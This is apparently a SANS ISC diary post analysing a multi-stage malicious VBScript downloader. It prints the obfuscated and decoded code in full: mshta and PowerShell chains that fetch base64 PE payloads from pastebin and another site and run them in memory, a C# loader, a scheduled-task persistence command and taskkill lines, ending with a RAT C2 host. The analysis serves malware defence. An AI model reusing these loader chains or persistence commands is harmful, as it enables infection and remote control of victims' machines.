Malicious Script With Multiple Payloads

Published: 2019-07-02
Last Updated: 2019-07-03 05:28:09 UTC
by Xavier Mertens (Version: 1)
0 comment(s) remains a common way to download malicious data and/or scripts. A few days ago, I spotted this malicious script that got a very low score on VT: 3/57 (SHA56:45e45d2932816b14665f65ee4fc1aa7473b29031da1612d3d909f867c618d80e)[1]. The obfuscation wasn't very complex but remains quite effective. The script is just a downloader that fetches more content from as well as other sites.

A first payload is downloaded from

Set As_wW = CreateObject("WScript.Shell")
AXW1 = "pt.Shell"").Run(""powershell.exe -noexi"
AXW5 = "ng('h'+'t'+'t'+'p'+'s:'+'//p'+'a'+'s'+'t'+'e'+'b'+'i'+'n'+'.'+'c'+'o'+'m'+'/'+'r'+'a'+'w'+'/'+'e8GrYbHb'))).EntryPoint.Invoke($N,$N)"",0,true)(window.close)"
AXW2 = "t -command [Reflection.Assembly]::Load("
AXW4 = "-Object Net.WebClient).DownloadStri"
AXW0 = "cmd.exe /c ping -n 10 > nul & mshta.exe vbscript:CreateObject(""Wscri"
AXW3 = "[System.Convert]::FromBase64String((New"
AXW = AXW0 + AXW1 + AXW2 + AXW3 + AXW4 + AXW5
As_wW.Run AXW, vbHide

The decoded command is:

cmd.exe / c ping -n 10 > nul & \
mshta.exe vbscript:CreateObject("Wscript.Shell").Run(""powershell.exe -noexit -command [Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('hxxps://pastebin[.]com/raw/e8GrYbHb'))).EntryPoint.Invoke($N,$N)"",0,true)(window.close)

Let's have a look at the pastie:

isc> curl -s hxxps://pastebin[.]com/raw/e8GrYbHb| head -c 100

You recognise immediately a PE file

isc> curl -s https://pastebin[.]com/raw/e8GrYbHb| base64 -d | sha256sum
8d54da80492eefcb1b688be56a18d2ea353aaa2d02b09256d5f3c9803104a1bf -

The file has a score of 17/72 on VT[2]

Then, a second payload is downloaded:

Set shell = CreateObject("WScript.Shell")
shell.Run("Powershell.exe -noexit [Byte[]]$sc64= iex(iex('(&(GCM *W-O*)'+ 'Net.'+'WebC'+'lient)'+'.Dow'+'nload'+'Str'+'ing('''').replace(''*'',''x0'')'));[<##>AppDomain<##>]::<##>('^urrentDomain'.replace('^','C'))<##>.<##>('%oad'.replace('%','L'))($sc64).'EntryPoint'<##>.<##>('in@okg'.replace('g','e').replace('@','v'))($null,$null)"),0

Let's have a look at this payload:

isc> curl -s hxxp://www.m9c[.]net/uploads/15615146751.jpg | head -c 100
    0x4D, 0x5A, 0x90, 0*0, 0*3, 0*0, 0*0, 0*0, 0*4, 0*0, 0*0, 0*0,
    0xFF, 0xFF, 0*0, 0*0, 0xB8, 0*0, 0

Again, a PE file (0x04D, 0x5A == "MZ"). It can be easily decoded with a tool like Cyberchef via a bunch of search/replace and converting from hex characters. The file is unknown on VT (SHA256:86e29714187bdfe606ca791e83f48263e590598b9f466ff5bf6a7ce99a4e54d3)

The third payload is again grabbed from pastebin:

isc> curl -s hxxps://pastebin[.]com/raw/2HpiMFUJ
<script language="VBScript">
'============Checking the system architecture=========================================
Set oShell = CreateObject ("Wscript.Shell")
Dim strArgs
strArgs = "powershell -noexit $Script = Invoke-WebRequest 'hxxps://pastebin[.]com/raw/9NQF7jy5';$ScriptBlock = [Scriptblock]::Create($Script.Content);Invoke-Command -ScriptBlock $ScriptBlock -ArgumentList ($args + @('someargument'));" oShell.Run strArgs, 0, false

And the next payload is:

isc> curl -s hxxps://pastebin[.]com/raw/9NQF7jy5$
code = @"
using System.Net;
using System.Reflection;
using System;
using System.Threading;
namespace CDTPitbull
    public class Cat
        public void Run()
            using (WebClient wc = new WebClient())
               // new Thread(() =>
              //  {
                        Assembly asm = AppDomain.CurrentDomain.Load(Convert.FromBase64String(wc.DownloadString("hxxps://pastebin[.]com/raw/3qSWYxTb")));
                        MethodInfo Metinf = asm.EntryPoint;
                        object InjObj = asm.CreateInstance(Metinf.Name);
                        object[] parameters = new object[1];  // C#
                        if (Metinf.GetParameters().Length == 0)
                            parameters = null; // VB.NET
                        Metinf.Invoke(InjObj, parameters);
                    catch { return; }
              //  })
              //  { IsBackground = false }.Start();

Add-Type -TypeDefinition $code;
$instance = New-Object CDTPitbull.Cat;

And the last one is again a PE file:

isc> curl -s | head -c 100
isc> curl -s | base64 -d | sha256sum
55fd3697bd2bfdc519b5faf4c58055ce69ddf912b87a3bf6e92a541729a5e49f  -

This payload has a score of 24/70 on VT[3] (SHA256:55fd3697bd2bfdc519b5faf4c58055ce69ddf912b87a3bf6e92a541729a5e49f)

Persistence is achieved by creating a scheduled task:

cmd.exe /c ping -n 30 > nul & schtasks /create /sc MINUTE /mo 200 /tn "MicrosoftWin32" /tr "mshta vbscript:CreateObject(\"Wscript.Shell").Run(\"mshta.exe hxxps://pastebin[.]com/raw/2HpiMFUJ\",0,true)(window.close)" /F

Finally, any running Excel or Word instances are killed:

Set X7W832DSA = CreateObject("WScript.Shell")
Dim ASSd712ji8asd
ASSd712ji8asd = "cmd.exe /c cd ""%ProgramFiles%""  & taskkill /f /im EXCEL.EXE & taskkill /f /im WINWORD.EXE & exit"
X7W832DSA.Run ASSd712ji8asd, vbHide

I don't know the purpose of this...

It's a RAT trying to connect to the following C2 server: bylgay[.]hopto[.]org (152[.]245[.]159[.]90)


Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant

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